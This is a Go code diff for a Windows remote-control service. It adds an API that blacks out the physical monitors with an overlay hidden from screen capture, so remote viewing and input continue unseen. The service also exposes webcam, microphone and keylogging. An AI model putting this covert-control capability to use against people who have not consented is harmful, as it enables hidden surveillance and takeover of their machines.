format = fields[2]
|
||||||
quality, err = strconv.Atoi(fields[3])
|
quality, err = strconv.Atoi(fields[3])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, "", 0, err
|
return 0, "", 0, false, err
|
||||||
}
|
}
|
||||||
return monitor, format, quality, nil
|
flag, err := strconv.Atoi(fields[4])
|
||||||
|
if err != nil {
|
||||||
|
return 0, "", 0, false, err
|
||||||
|
}
|
||||||
|
return monitor, format, quality, flag != 0, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func writeFrame(w io.Writer, img models.CapturedImage) error {
|
func writeFrame(w io.Writer, img models.CapturedImage) error {
|
||||||
|
|||||||
@@ -11,15 +11,15 @@ import (
|
|||||||
func TestCaptureProtocolRoundTrip(t *testing.T) {
|
func TestCaptureProtocolRoundTrip(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
var buf bytes.Buffer
|
var buf bytes.Buffer
|
||||||
if err := writeRequest(&buf, 1, "jpeg", 40); err != nil {
|
if err := writeRequest(&buf, 1, "jpeg", 40, true); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
mon, format, quality, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
|
mon, format, quality, omit, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if mon != 1 || format != "jpeg" || quality != 40 {
|
if mon != 1 || format != "jpeg" || quality != 40 || !omit {
|
||||||
t.Fatalf("request = %d %s %d", mon, format, quality)
|
t.Fatalf("request = %d %s %d omit=%v", mon, format, quality, omit)
|
||||||
}
|
}
|
||||||
|
|
||||||
buf.Reset()
|
buf.Reset()
|
||||||
|
|||||||
+38
-4
@@ -168,10 +168,11 @@ func Spec() map[string]any {
|
|||||||
"200": map[string]any{
|
"200": map[string]any{
|
||||||
"description": "Screenshot image",
|
"description": "Screenshot image",
|
||||||
"headers": map[string]any{
|
"headers": map[string]any{
|
||||||
"X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
|
"X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
|
||||||
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
|
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
|
||||||
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
|
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
|
||||||
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
|
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
|
||||||
|
"X-Screen-Blackout": map[string]any{"schema": map[string]string{"type": "string"}, "description": "1 when physical monitors are blacked out"},
|
||||||
},
|
},
|
||||||
"content": map[string]any{
|
"content": map[string]any{
|
||||||
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
|
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
|
||||||
@@ -183,6 +184,26 @@ func Spec() map[string]any {
|
|||||||
}),
|
}),
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
"/api/v1/blackout": map[string]any{
|
||||||
|
"get": map[string]any{
|
||||||
|
"summary": "Read physical monitor blackout",
|
||||||
|
"operationId": "getBlackout",
|
||||||
|
"responses": auth(map[string]any{
|
||||||
|
"200": okJSON("Blackout state", ref("BlackoutState")),
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
"put": map[string]any{
|
||||||
|
"summary": "Black out physical monitors",
|
||||||
|
"operationId": "setBlackout",
|
||||||
|
"description": "Covers physical displays with a click-through overlay excluded from capture. Remote video and input keep working.",
|
||||||
|
"requestBody": jsonBody(ref("BlackoutUpdate")),
|
||||||
|
"responses": auth(map[string]any{
|
||||||
|
"200": okJSON("Blackout state", ref("BlackoutState")),
|
||||||
|
"400": errResp("Invalid body"),
|
||||||
|
"503": errResp("Blackout failed"),
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
},
|
||||||
"/api/v1/webcam": map[string]any{
|
"/api/v1/webcam": map[string]any{
|
||||||
"get": map[string]any{
|
"get": map[string]any{
|
||||||
"summary": "List webcams",
|
"summary": "List webcams",
|
||||||
@@ -563,6 +584,19 @@ func Spec() map[string]any {
|
|||||||
"klogging": map[string]any{"type": "boolean"},
|
"klogging": map[string]any{"type": "boolean"},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
"BlackoutState": map[string]any{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]any{
|
||||||
|
"enabled": map[string]any{"type": "boolean"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"BlackoutUpdate": map[string]any{
|
||||||
|
"type": "object",
|
||||||
|
"required": []string{"enabled"},
|
||||||
|
"properties": map[string]any{
|
||||||
|
"enabled": map[string]any{"type": "boolean"},
|
||||||
|
},
|
||||||
|
},
|
||||||
"ClickRequest": map[string]any{
|
"ClickRequest": map[string]any{
|
||||||
"type": "object", "required": []string{"x", "y", "button"},
|
"type": "object", "required": []string{"x", "y", "button"},
|
||||||
"properties": map[string]any{
|
"properties": map[string]any{
|
||||||
|
|||||||
@@ -11,8 +11,8 @@ func TestSpec(t *testing.T) {
|
|||||||
if !ok || len(paths) < 12 {
|
if !ok || len(paths) < 12 {
|
||||||
t.Fatalf("expected at least 12 paths, got %d", len(paths))
|
t.Fatalf("expected at least 12 paths, got %d", len(paths))
|
||||||
}
|
}
|
||||||
if _, ok := paths["/api/v1/mic"]; !ok {
|
if _, ok := paths["/api/v1/blackout"]; !ok {
|
||||||
t.Fatal("missing /api/v1/mic")
|
t.Fatal("missing /api/v1/blackout")
|
||||||
}
|
}
|
||||||
if _, ok := paths["/api/v1/watchdog"]; !ok {
|
if _, ok := paths["/api/v1/watchdog"]; !ok {
|
||||||
t.Fatal("missing /api/v1/watchdog")
|
t.Fatal("missing /api/v1/watchdog")
|
||||||
|
|||||||
@@ -16,6 +16,18 @@ import (
|
|||||||
|
|
||||||
var ErrMonitorNotFound = errors.New("monitor not found")
|
var ErrMonitorNotFound = errors.New("monitor not found")
|
||||||
|
|
||||||
|
const (
|
||||||
|
srcCopy = 0x00CC0020
|
||||||
|
captureBlt = 0x40000000
|
||||||
|
)
|
||||||
|
|
||||||
|
var omitLayeredWindows bool
|
||||||
|
|
||||||
|
// SetOmitLayered skips CAPTUREBLT so WS_EX_LAYERED overlays (blackout) stay off the bitmap.
|
||||||
|
func SetOmitLayered(omit bool) {
|
||||||
|
omitLayeredWindows = omit
|
||||||
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
user32 = syscall.NewLazyDLL("user32.dll")
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||||
@@ -210,8 +222,11 @@ func captureRect(r rect) (*image.RGBA, error) {
|
|||||||
defer procDeleteObject.Call(bitmap)
|
defer procDeleteObject.Call(bitmap)
|
||||||
old, _, _ := procSelectObject.Call(memDC, bitmap)
|
old, _, _ := procSelectObject.Call(memDC, bitmap)
|
||||||
defer procSelectObject.Call(memDC, old)
|
defer procSelectObject.Call(memDC, old)
|
||||||
const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
|
blit := uintptr(srcCopy)
|
||||||
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
|
if !omitLayeredWindows {
|
||||||
|
blit |= captureBlt
|
||||||
|
}
|
||||||
|
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), blit)
|
||||||
if ok == 0 {
|
if ok == 0 {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user